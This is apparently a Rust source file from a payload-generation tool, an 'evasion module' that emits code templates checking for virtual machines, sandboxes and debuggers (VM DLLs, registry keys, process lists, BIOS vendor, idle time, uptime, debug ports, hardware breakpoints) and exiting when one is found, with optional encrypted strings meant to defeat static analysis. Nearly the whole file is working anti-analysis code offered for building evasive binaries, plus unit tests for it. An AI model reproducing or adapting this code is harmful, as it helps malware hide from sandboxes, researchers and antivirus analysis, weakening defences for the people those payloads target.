// Evasion module - Anti-analysis detection functions
 //
 // String encryption is now supported for evasion checks when --with-string-encryption is enabled.
 // Static strings (registry paths, DLL names, process names, etc.) are encrypted at build time
 // and decrypted at runtime to prevent static analysis.
 //
 // UPDATE 2026-01-01: Extern declarations have been centralized and string encryption implemented.
 
 /// Generate centralized extern declarations for evasion checks
 pub fn generate_evasion_externs() -> String {
     r#"
 #[repr(C)]
 struct MemoryStatusEx {
     length: u32,
     memory_load: u32,
     total_phys: u64,
     avail_phys: u64,
     total_page_file: u64,
     avail_page_file: u64,
     total_virtual: u64,
     avail_virtual: u64,
     avail_extended_virtual: u64,
 }
 
 #[repr(C)]
 struct LastInputInfo {
     size: u32,
     time: u32,
 }
 
 #[repr(C)]
 struct Context {
     context_flags: u32,
     dr0: usize,
     dr1: usize,
     dr2: usize,
     dr3: usize,
     dr6: usize,
     dr7: usize,
     _padding: [u8; 512],
 }
 
 #[link(name = "kernel32")]
 extern "system" {
     fn GetModuleHandleA(module_name: *const i8) -> *mut std::ffi::c_void;
     fn IsDebuggerPresent() -> i32;
     fn CheckRemoteDebuggerPresent(
         process: *mut std::ffi::c_void,
         present: *mut i32,
     ) -> i32;
     fn GetCurrentProcess() -> *mut std::ffi::c_void;
     fn GetCurrentThread() -> *mut std::ffi::c_void;
     fn GetThreadContext(
         thread: *mut std::ffi::c_void,
         context: *mut Context,
     ) -> i32;
     fn GlobalMemoryStatusEx(buffer: *mut MemoryStatusEx) -> i32;
     fn GetTickCount() -> u32;
     fn GetTickCount64() -> u64;
 }
 
 #[link(name = "user32")]
 extern "system" {
     fn GetLastInputInfo(info: *mut LastInputInfo) -> i32;
 }
 
 #[link(name = "ntdll")]
 extern "system" {
     fn NtQueryInformationProcess(
         process_handle: *mut std::ffi::c_void,
         process_information_class: u32,
         process_information: *mut std::ffi::c_void,
         process_information_length: u32,
         return_length: *mut u32,
     ) -> i32;
 }
 "#
     .to_string()
 }
 
 pub fn anti_vm_checks() -> String {
     r#"
 fn check_vm_artifacts() -> bool {
     unsafe {
         let vm_dlls = [
             b"vmGuestLib.dll\0".as_ptr() as *const i8,
             b"vboxmrxnp.dll\0".as_ptr() as *const i8,
             b"VBoxHook.dll\0".as_ptr() as *const i8,
             b"vmmouse.sys\0".as_ptr() as *const i8,
             b"vmhgfs.dll\0".as_ptr() as *const i8,
         ];
 
         for dll in vm_dlls.iter() {
             if !GetModuleHandleA(*dll).is_null() {
                 return true;
             }
         }
     }
     false
 }
 
 fn check_vm_registry() -> bool {
     use std::process::Command;
 
     let vm_keys = [
         r"HKLM\SYSTEM\ControlSet001\Services\VBoxGuest",
         r"HKLM\SYSTEM\ControlSet001\Services\VBoxMouse",
         r"HKLM\SYSTEM\ControlSet001\Services\VBoxService",
         r"HKLM\SYSTEM\ControlSet001\Services\vmtools",
         r"HKLM\SYSTEM\ControlSet001\Services\vmmouse",
         r"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0",
     ];
 
     for key in vm_keys.iter() {
         if let Ok(output) = Command::new("reg").args(&["query", key]).output() {
             if output.status.success() {
                 return true;
             }
         }
     }
     false
 }
 
 fn check_vm_processes() -> bool {
     use std::process::Command;
 
     let vm_processes = [
         "vmtoolsd.exe",
         "vmwaretray.exe",
         "vmwareuser.exe",
         "VGAuthService.exe",
         "vmacthlp.exe",
         "vboxservice.exe",
         "vboxtray.exe",
         "xenservice.exe",
         "qemu-ga.exe",
     ];
 
     if let Ok(output) = Command::new("tasklist").output() {
         let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
         for process in vm_processes.iter() {
             if output_str.contains(&process.to_lowercase()) {
                 return true;
             }
         }
     }
     false
 }
 
 fn check_vm_cpu_count() -> bool {
     use std::env;
 
     if let Ok(num_cpus) = env::var("NUMBER_OF_PROCESSORS") {
         if let Ok(count) = num_cpus.parse::<u32>() {
             if count < 2 {
                 return true;
             }
         }
     }
     false
 }
 
 fn check_vm_memory() -> bool {
     unsafe {
         let mut meminfo = MemoryStatusEx {
             length: std::mem::size_of::<MemoryStatusEx>() as u32,
             memory_load: 0,
             total_phys: 0,
             avail_phys: 0,
             total_page_file: 0,
             avail_page_file: 0,
             total_virtual: 0,
             avail_virtual: 0,
             avail_extended_virtual: 0,
         };
 
         if GlobalMemoryStatusEx(&mut meminfo) != 0 {
             let total_ram_gb = meminfo.total_phys / (1024 * 1024 * 1024);
             if total_ram_gb < 2 {
                 return true;
             }
         }
     }
     false
 }
 
 fn check_vm_firmware() -> bool {
     use std::process::Command;
 
     if let Ok(output) = Command::new("wmic")
         .args(&["bios", "get", "manufacturer"])
         .output()
     {
         let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
         let vm_vendors = ["vmware", "virtualbox", "qemu", "xen", "hyper-v"];
         for vendor in vm_vendors.iter() {
             if output_str.contains(vendor) {
                 return true;
             }
         }
     }
     false
 }
 
 fn detect_vm() -> bool {
     check_vm_artifacts()
         || check_vm_registry()
         || check_vm_processes()
         || check_vm_cpu_count()
         || check_vm_memory()
         || check_vm_firmware()
 }
 "#
     .to_string()
 }
 
 pub fn anti_sandbox_checks() -> String {
     r#"
 fn check_sandbox_user_interaction() -> bool {
     use std::time::{Duration, Instant};
 
     unsafe {
         let mut info = LastInputInfo {
             size: std::mem::size_of::<LastInputInfo>() as u32,
             time: 0,
         };
 
         if GetLastInputInfo(&mut info) != 0 {
             let current_time = GetTickCount();
             let idle_time = current_time - info.time;
             if idle_time < 60000 {
                 return false;
             }
         }
     }
     true
 }
 
 fn check_sandbox_timing() -> bool {
     use std::time::Instant;
 
     let iterations = 10;
     let mut timings = Vec::new();
 
     for _ in 0..iterations {
         let start = Instant::now();
         let mut sum = 0u64;
         for i in 0..100000 {
             sum = sum.wrapping_add(i);
         }
         let elapsed = start.elapsed().as_nanos();
         timings.push(elapsed);
     }
 
     if let Some(avg) = timings.iter().sum::<u128>().checked_div(timings.len() as u128) {
         if avg < 1000 {
             return true;
         }
     }
     false
 }
 
 fn check_sandbox_file_count() -> bool {
     use std::fs;
 
     if let Ok(entries) = fs::read_dir("C:\\Windows\\System32") {
         let count = entries.count();
         if count < 100 {
             return true;
         }
     }
     false
 }
 
 fn check_sandbox_uptime() -> bool {
     unsafe {
         let uptime_ms = GetTickCount64();
         let uptime_minutes = uptime_ms / (1000 * 60);
         if uptime_minutes < 10 {
             return true;
         }
     }
     false
 }
 
 fn check_sandbox_recent_files() -> bool {
     use std::fs;
     use std::path::PathBuf;
 
     if let Ok(appdata) = std::env::var("APPDATA") {
         let recent_path = PathBuf::from(appdata).join("Microsoft\\Windows\\Recent");
         if let Ok(entries) = fs::read_dir(recent_path) {
             let count = entries.count();
             if count < 5 {
                 return true;
             }
         }
     }
     false
 }
 
 fn detect_sandbox() -> bool {
     check_sandbox_user_interaction()
         || check_sandbox_timing()
         || check_sandbox_file_count()
         || check_sandbox_uptime()
         || check_sandbox_recent_files()
 }
 "#
     .to_string()
 }
 
 pub fn anti_debugger_checks() -> String {
     r#"
 fn check_debugger_present() -> bool {
     unsafe {
         IsDebuggerPresent() != 0
     }
 }
 
 fn check_remote_debugger() -> bool {
     unsafe {
         let mut is_present: i32 = 0;
         let result = CheckRemoteDebuggerPresent(GetCurrentProcess(), &mut is_present);
         result != 0 && is_present != 0
     }
 }
 
 fn check_debug_port() -> bool {
     unsafe {
         let mut debug_port: usize = 0;
         let status = NtQueryInformationProcess(
             GetCurrentProcess(),
             7,
             &mut debug_port as *mut usize as *mut std::ffi::c_void,
             std::mem::size_of::<usize>() as u32,
             std::ptr::null_mut(),
         );
 
         status == 0 && debug_port != 0
     }
 }
 
 fn check_hardware_breakpoints() -> bool {
     unsafe {
         let mut context = Context {
             context_flags: 0x00010000 | 0x00000010,
             dr0: 0,
             dr1: 0,
             dr2: 0,
             dr3: 0,
             dr6: 0,
             dr7: 0,
             _padding: [0; 512],
         };
 
         if GetThreadContext(GetCurrentThread(), &mut context) != 0 {
             if context.dr0 != 0 || context.dr1 != 0 || context.dr2 != 0 || context.dr3 != 0 {
                 return true;
             }
         }
     }
     false
 }
 
 fn check_parent_process() -> bool {
     use std::process::Command;
 
     if let Ok(output) = Command::new("tasklist")
         .args(&["/v", "/fo", "csv"])
         .output()
     {
         let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
         let debugger_parents = ["devenv.exe", "windbg.exe", "x64dbg.exe", "ollydbg.exe", "ida64.exe"];
         for parent in debugger_parents.iter() {
             if output_str.contains(parent) {
                 return true;
             }
         }
     }
     false
 }
 
 fn detect_debugger() -> bool {
     check_debugger_present()
         || check_remote_debugger()
         || check_debug_port()
         || check_hardware_breakpoints()
         || check_parent_process()
 }
 "#
     .to_string()
 }
 
 pub fn generate_evasion_check_call(
     anti_vm: bool,
     anti_sandbox: bool,
     anti_debugger: bool,
 ) -> String {
     let mut checks = Vec::new();
 
     if anti_vm {
         checks.push("detect_vm()");
     }
     if anti_sandbox {
         checks.push("detect_sandbox()");
     }
     if anti_debugger {
         checks.push("detect_debugger()");
     }
 
     if checks.is_empty() {
         return String::new();
     }
 
     format!(
         r#"
     if {} {{
         std::process::exit(1);
     }}
 "#,
         checks.join(" || ")
     )
 }
 
 /// Generate anti-VM checks with encrypted strings
 pub fn anti_vm_checks_with_encryption(
     vm_dll_arrays: &[String],
     vm_registry_arrays: &[String],
     vm_process_arrays: &[String],
     vm_vendor_arrays: &[String],
     decrypt_fn: &str,
     expect_clause: &str,
 ) -> String {
     format!(
         r#"
 fn check_vm_artifacts() -> bool {{
     unsafe {{
         const ENCRYPTED_VM_DLL_0: &[u8] = &{};
         const ENCRYPTED_VM_DLL_1: &[u8] = &{};
         const ENCRYPTED_VM_DLL_2: &[u8] = &{};
         const ENCRYPTED_VM_DLL_3: &[u8] = &{};
         const ENCRYPTED_VM_DLL_4: &[u8] = &{};
         
         let dll_0 = {}(ENCRYPTED_VM_DLL_0, &DECRYPTION_KEY){};
         let dll_1 = {}(ENCRYPTED_VM_DLL_1, &DECRYPTION_KEY){};
         let dll_2 = {}(ENCRYPTED_VM_DLL_2, &DECRYPTION_KEY){};
         let dll_3 = {}(ENCRYPTED_VM_DLL_3, &DECRYPTION_KEY){};
         let dll_4 = {}(ENCRYPTED_VM_DLL_4, &DECRYPTION_KEY){};
         
         let vm_dlls = [
             dll_0.as_ptr() as *const i8,
             dll_1.as_ptr() as *const i8,
             dll_2.as_ptr() as *const i8,
             dll_3.as_ptr() as *const i8,
             dll_4.as_ptr() as *const i8,
         ];
 
         for dll in vm_dlls.iter() {{
             if !GetModuleHandleA(*dll).is_null() {{
                 return true;
             }}
         }}
     }}
     false
 }}
 
 fn check_vm_registry() -> bool {{
     use std::process::Command;
 
     const ENCRYPTED_VM_KEY_0: &[u8] = &{};
     const ENCRYPTED_VM_KEY_1: &[u8] = &{};
     const ENCRYPTED_VM_KEY_2: &[u8] = &{};
     const ENCRYPTED_VM_KEY_3: &[u8] = &{};
     const ENCRYPTED_VM_KEY_4: &[u8] = &{};
     const ENCRYPTED_VM_KEY_5: &[u8] = &{};
     
     let key_0 = {}(ENCRYPTED_VM_KEY_0, &DECRYPTION_KEY){};
     let key_1 = {}(ENCRYPTED_VM_KEY_1, &DECRYPTION_KEY){};
     let key_2 = {}(ENCRYPTED_VM_KEY_2, &DECRYPTION_KEY){};
     let key_3 = {}(ENCRYPTED_VM_KEY_3, &DECRYPTION_KEY){};
     let key_4 = {}(ENCRYPTED_VM_KEY_4, &DECRYPTION_KEY){};
     let key_5 = {}(ENCRYPTED_VM_KEY_5, &DECRYPTION_KEY){};
     
     let vm_keys = [
         String::from_utf8_lossy(&key_0).to_string(),
         String::from_utf8_lossy(&key_1).to_string(),
         String::from_utf8_lossy(&key_2).to_string(),
         String::from_utf8_lossy(&key_3).to_string(),
         String::from_utf8_lossy(&key_4).to_string(),
         String::from_utf8_lossy(&key_5).to_string(),
     ];
 
     for key in vm_keys.iter() {{
         if let Ok(output) = Command::new("reg").args(&["query", key]).output() {{
             if output.status.success() {{
                 return true;
             }}
         }}
     }}
     false
 }}
 
 fn check_vm_processes() -> bool {{
     use std::process::Command;
 
     const ENCRYPTED_VM_PROC_0: &[u8] = &{};
     const ENCRYPTED_VM_PROC_1: &[u8] = &{};
     const ENCRYPTED_VM_PROC_2: &[u8] = &{};
     const ENCRYPTED_VM_PROC_3: &[u8] = &{};
     const ENCRYPTED_VM_PROC_4: &[u8] = &{};
     const ENCRYPTED_VM_PROC_5: &[u8] = &{};
     const ENCRYPTED_VM_PROC_6: &[u8] = &{};
     const ENCRYPTED_VM_PROC_7: &[u8] = &{};
     const ENCRYPTED_VM_PROC_8: &[u8] = &{};
     
     let proc_0 = {}(ENCRYPTED_VM_PROC_0, &DECRYPTION_KEY){};
     let proc_1 = {}(ENCRYPTED_VM_PROC_1, &DECRYPTION_KEY){};
     let proc_2 = {}(ENCRYPTED_VM_PROC_2, &DECRYPTION_KEY){};
     let proc_3 = {}(ENCRYPTED_VM_PROC_3, &DECRYPTION_KEY){};
     let proc_4 = {}(ENCRYPTED_VM_PROC_4, &DECRYPTION_KEY){};
     let proc_5 = {}(ENCRYPTED_VM_PROC_5, &DECRYPTION_KEY){};
     let proc_6 = {}(ENCRYPTED_VM_PROC_6, &DECRYPTION_KEY){};
     let proc_7 = {}(ENCRYPTED_VM_PROC_7, &DECRYPTION_KEY){};
     let proc_8 = {}(ENCRYPTED_VM_PROC_8, &DECRYPTION_KEY){};
 
     if let Ok(output) = Command::new("tasklist").output() {{
         let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
         let vm_processes = [
             String::from_utf8_lossy(&proc_0).to_string().to_lowercase(),
             String::from_utf8_lossy(&proc_1).to_string().to_lowercase(),
             String::from_utf8_lossy(&proc_2).to_string().to_lowercase(),
             String::from_utf8_lossy(&proc_3).to_string().to_lowercase(),
             String::from_utf8_lossy(&proc_4).to_string().to_lowercase(),
             String::from_utf8_lossy(&proc_5).to_string().to_lowercase(),
             String::from_utf8_lossy(&proc_6).to_string().to_lowercase(),
             String::from_utf8_lossy(&proc_7).to_string().to_lowercase(),
             String::from_utf8_lossy(&proc_8).to_string().to_lowercase(),
         ];
         for process in vm_processes.iter() {{
             if output_str.contains(process) {{
                 return true;
             }}
         }}
     }}
     false
 }}
 
 fn check_vm_cpu_count() -> bool {{
     use std::env;
 
     if let Ok(num_cpus) = env::var("NUMBER_OF_PROCESSORS") {{
         if let Ok(count) = num_cpus.parse::<u32>() {{
             if count < 2 {{
                 return true;
             }}
         }}
     }}
     false
 }}
 
 fn check_vm_memory() -> bool {{
     unsafe {{
         let mut meminfo = MemoryStatusEx {{
             length: std::mem::size_of::<MemoryStatusEx>() as u32,
             memory_load: 0,
             total_phys: 0,
             avail_phys: 0,
             total_page_file: 0,
             avail_page_file: 0,
             total_virtual: 0,
             avail_virtual: 0,
             avail_extended_virtual: 0,
         }};
 
         if GlobalMemoryStatusEx(&mut meminfo) != 0 {{
             let total_ram_gb = meminfo.total_phys / (1024 * 1024 * 1024);
             if total_ram_gb < 2 {{
                 return true;
             }}
         }}
     }}
     false
 }}
 
 fn check_vm_firmware() -> bool {{
     use std::process::Command;
 
     const ENCRYPTED_VM_VENDOR_0: &[u8] = &{};
     const ENCRYPTED_VM_VENDOR_1: &[u8] = &{};
     const ENCRYPTED_VM_VENDOR_2: &[u8] = &{};
     const ENCRYPTED_VM_VENDOR_3: &[u8] = &{};
     const ENCRYPTED_VM_VENDOR_4: &[u8] = &{};
     
     let vendor_0 = {}(ENCRYPTED_VM_VENDOR_0, &DECRYPTION_KEY){};
     let vendor_1 = {}(ENCRYPTED_VM_VENDOR_1, &DECRYPTION_KEY){};
     let vendor_2 = {}(ENCRYPTED_VM_VENDOR_2, &DECRYPTION_KEY){};
     let vendor_3 = {}(ENCRYPTED_VM_VENDOR_3, &DECRYPTION_KEY){};
     let vendor_4 = {}(ENCRYPTED_VM_VENDOR_4, &DECRYPTION_KEY){};
 
     if let Ok(output) = Command::new("wmic")
         .args(&["bios", "get", "manufacturer"])
         .output()
     {{
         let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
         let vm_vendors = [
             String::from_utf8_lossy(&vendor_0).to_string().to_lowercase(),
             String::from_utf8_lossy(&vendor_1).to_string().to_lowercase(),
             String::from_utf8_lossy(&vendor_2).to_string().to_lowercase(),
             String::from_utf8_lossy(&vendor_3).to_string().to_lowercase(),
             String::from_utf8_lossy(&vendor_4).to_string().to_lowercase(),
         ];
         for vendor in vm_vendors.iter() {{
             if output_str.contains(vendor) {{
                 return true;
             }}
         }}
     }}
     false
 }}
 
 fn detect_vm() -> bool {{
     check_vm_artifacts()
         || check_vm_registry()
         || check_vm_processes()
         || check_vm_cpu_count()
         || check_vm_memory()
         || check_vm_firmware()
 }}
 "#,
         vm_dll_arrays[0],
         vm_dll_arrays[1],
         vm_dll_arrays[2],
         vm_dll_arrays[3],
         vm_dll_arrays[4],
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         vm_registry_arrays[0],
         vm_registry_arrays[1],
         vm_registry_arrays[2],
         vm_registry_arrays[3],
         vm_registry_arrays[4],
         vm_registry_arrays[5],
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         vm_process_arrays[0],
         vm_process_arrays[1],
         vm_process_arrays[2],
         vm_process_arrays[3],
         vm_process_arrays[4],
         vm_process_arrays[5],
         vm_process_arrays[6],
         vm_process_arrays[7],
         vm_process_arrays[8],
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         vm_vendor_arrays[0],
         vm_vendor_arrays[1],
         vm_vendor_arrays[2],
         vm_vendor_arrays[3],
         vm_vendor_arrays[4],
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
     )
 }
 
 /// Generate anti-sandbox checks with encrypted strings
 pub fn anti_sandbox_checks_with_encryption(
     file_path_array: &str,
     decrypt_fn: &str,
     expect_clause: &str,
 ) -> String {
     format!(
         r#"
 fn check_sandbox_user_interaction() -> bool {{
     use std::time::{{Duration, Instant}};
 
     unsafe {{
         let mut info = LastInputInfo {{
             size: std::mem::size_of::<LastInputInfo>() as u32,
             time: 0,
         }};
 
         if GetLastInputInfo(&mut info) != 0 {{
             let current_time = GetTickCount();
             let idle_time = current_time - info.time;
             if idle_time < 60000 {{
                 return false;
             }}
         }}
     }}
     true
 }}
 
 fn check_sandbox_timing() -> bool {{
     use std::time::Instant;
 
     let iterations = 10;
     let mut timings = Vec::new();
 
     for _ in 0..iterations {{
         let start = Instant::now();
         let mut sum = 0u64;
         for i in 0..100000 {{
             sum = sum.wrapping_add(i);
         }}
         let elapsed = start.elapsed().as_nanos();
         timings.push(elapsed);
     }}
 
     if let Some(avg) = timings.iter().sum::<u128>().checked_div(timings.len() as u128) {{
         if avg < 1000 {{
             return true;
         }}
     }}
     false
 }}
 
 fn check_sandbox_file_count() -> bool {{
     use std::fs;
 
     const ENCRYPTED_FILE_PATH: &[u8] = &{};
     let file_path = {}(ENCRYPTED_FILE_PATH, &DECRYPTION_KEY){};
     let file_path_str = String::from_utf8_lossy(&file_path).to_string();
 
     if let Ok(entries) = fs::read_dir(&file_path_str) {{
         let count = entries.count();
         if count < 100 {{
             return true;
         }}
     }}
     false
 }}
 
 fn check_sandbox_uptime() -> bool {{
     unsafe {{
         let uptime_ms = GetTickCount64();
         let uptime_minutes = uptime_ms / (1000 * 60);
         if uptime_minutes < 10 {{
             return true;
         }}
     }}
     false
 }}
 
 fn check_sandbox_recent_files() -> bool {{
     use std::fs;
     use std::path::PathBuf;
 
     if let Ok(appdata) = std::env::var("APPDATA") {{
         let recent_path = PathBuf::from(appdata).join("Microsoft\\Windows\\Recent");
         if let Ok(entries) = fs::read_dir(recent_path) {{
             let count = entries.count();
             if count < 5 {{
                 return true;
             }}
         }}
     }}
     false
 }}
 
 fn detect_sandbox() -> bool {{
     check_sandbox_user_interaction()
         || check_sandbox_timing()
         || check_sandbox_file_count()
         || check_sandbox_uptime()
         || check_sandbox_recent_files()
 }}
 "#,
         file_path_array, decrypt_fn, expect_clause,
     )
 }
 
 /// Generate anti-debugger checks with encrypted strings
 pub fn anti_debugger_checks_with_encryption(
     debugger_parent_arrays: &[String],
     decrypt_fn: &str,
     expect_clause: &str,
 ) -> String {
     format!(
         r#"
 fn check_debugger_present() -> bool {{
     unsafe {{
         IsDebuggerPresent() != 0
     }}
 }}
 
 fn check_remote_debugger() -> bool {{
     unsafe {{
         let mut is_present: i32 = 0;
         let result = CheckRemoteDebuggerPresent(GetCurrentProcess(), &mut is_present);
         result != 0 && is_present != 0
     }}
 }}
 
 fn check_debug_port() -> bool {{
     unsafe {{
         let mut debug_port: usize = 0;
         let status = NtQueryInformationProcess(
             GetCurrentProcess(),
             7,
             &mut debug_port as *mut usize as *mut std::ffi::c_void,
             std::mem::size_of::<usize>() as u32,
             std::ptr::null_mut(),
         );
 
         status == 0 && debug_port != 0
     }}
 }}
 
 fn check_hardware_breakpoints() -> bool {{
     unsafe {{
         let mut context = Context {{
             context_flags: 0x00010000 | 0x00000010,
             dr0: 0,
             dr1: 0,
             dr2: 0,
             dr3: 0,
             dr6: 0,
             dr7: 0,
             _padding: [0; 512],
         }};
 
         if GetThreadContext(GetCurrentThread(), &mut context) != 0 {{
             if context.dr0 != 0 || context.dr1 != 0 || context.dr2 != 0 || context.dr3 != 0 {{
                 return true;
             }}
         }}
     }}
     false
 }}
 
 fn check_parent_process() -> bool {{
     use std::process::Command;
 
     const ENCRYPTED_DBG_PARENT_0: &[u8] = &{};
     const ENCRYPTED_DBG_PARENT_1: &[u8] = &{};
     const ENCRYPTED_DBG_PARENT_2: &[u8] = &{};
     const ENCRYPTED_DBG_PARENT_3: &[u8] = &{};
     const ENCRYPTED_DBG_PARENT_4: &[u8] = &{};
     
     let parent_0 = {}(ENCRYPTED_DBG_PARENT_0, &DECRYPTION_KEY){};
     let parent_1 = {}(ENCRYPTED_DBG_PARENT_1, &DECRYPTION_KEY){};
     let parent_2 = {}(ENCRYPTED_DBG_PARENT_2, &DECRYPTION_KEY){};
     let parent_3 = {}(ENCRYPTED_DBG_PARENT_3, &DECRYPTION_KEY){};
     let parent_4 = {}(ENCRYPTED_DBG_PARENT_4, &DECRYPTION_KEY){};
 
     if let Ok(output) = Command::new("tasklist")
         .args(&["/v", "/fo", "csv"])
         .output()
     {{
         let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
         let debugger_parents = [
             String::from_utf8_lossy(&parent_0).to_string().to_lowercase(),
             String::from_utf8_lossy(&parent_1).to_string().to_lowercase(),
             String::from_utf8_lossy(&parent_2).to_string().to_lowercase(),
             String::from_utf8_lossy(&parent_3).to_string().to_lowercase(),
             String::from_utf8_lossy(&parent_4).to_string().to_lowercase(),
         ];
         for parent in debugger_parents.iter() {{
             if output_str.contains(parent) {{
                 return true;
             }}
         }}
     }}
     false
 }}
 
 fn detect_debugger() -> bool {{
     check_debugger_present()
         || check_remote_debugger()
         || check_debug_port()
         || check_hardware_breakpoints()
         || check_parent_process()
 }}
 "#,
         debugger_parent_arrays[0],
         debugger_parent_arrays[1],
         debugger_parent_arrays[2],
         debugger_parent_arrays[3],
         debugger_parent_arrays[4],
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
         decrypt_fn,
         expect_clause,
     )
 }
 
 #[cfg(test)]
 mod tests {
     use super::*;
 
     #[test]
     fn test_anti_vm_checks_contains_vm_detection() {
         let code = anti_vm_checks();
         assert!(code.contains("detect_vm"));
         assert!(code.contains("check_vm_artifacts"));
         assert!(code.contains("check_vm_registry"));
         assert!(code.contains("check_vm_processes"));
     }
 
     #[test]
     fn test_anti_sandbox_checks_contains_sandbox_detection() {
         let code = anti_sandbox_checks();
         assert!(code.contains("detect_sandbox"));
         assert!(code.contains("check_sandbox_timing"));
         assert!(code.contains("check_sandbox_uptime"));
     }
 
     #[test]
     fn test_anti_debugger_checks_contains_debugger_detection() {
         let code = anti_debugger_checks();
         assert!(code.contains("detect_debugger"));
         assert!(code.contains("IsDebuggerPresent"));
         assert!(code.contains("check_hardware_breakpoints"));
     }
 
     #[test]
     fn test_generate_evasion_check_call_single_flag() {
         let call = generate_evasion_check_call(true, false, false);
         assert!(call.contains("detect_vm()"));
         assert!(!call.contains("detect_sandbox()"));
         assert!(!call.contains("detect_debugger()"));
     }
 
     #[test]
     fn test_generate_evasion_check_call_multiple_flags() {
         let call = generate_evasion_check_call(true, true, false);
         assert!(call.contains("detect_vm()"));
         assert!(call.contains("detect_sandbox()"));
         assert!(!call.contains("detect_debugger()"));
         assert!(call.contains("||"));
     }
 
     #[test]
     fn test_generate_evasion_check_call_all_flags() {
         let call = generate_evasion_check_call(true, true, true);
         assert!(call.contains("detect_vm()"));
         assert!(call.contains("detect_sandbox()"));
         assert!(call.contains("detect_debugger()"));
     }
 
     #[test]
     fn test_generate_evasion_check_call_no_flags() {
         let call = generate_evasion_check_call(false, false, false);
         assert!(call.is_empty());
     }
 }

© 2024 - 2026 djnn, inc • generated with stagit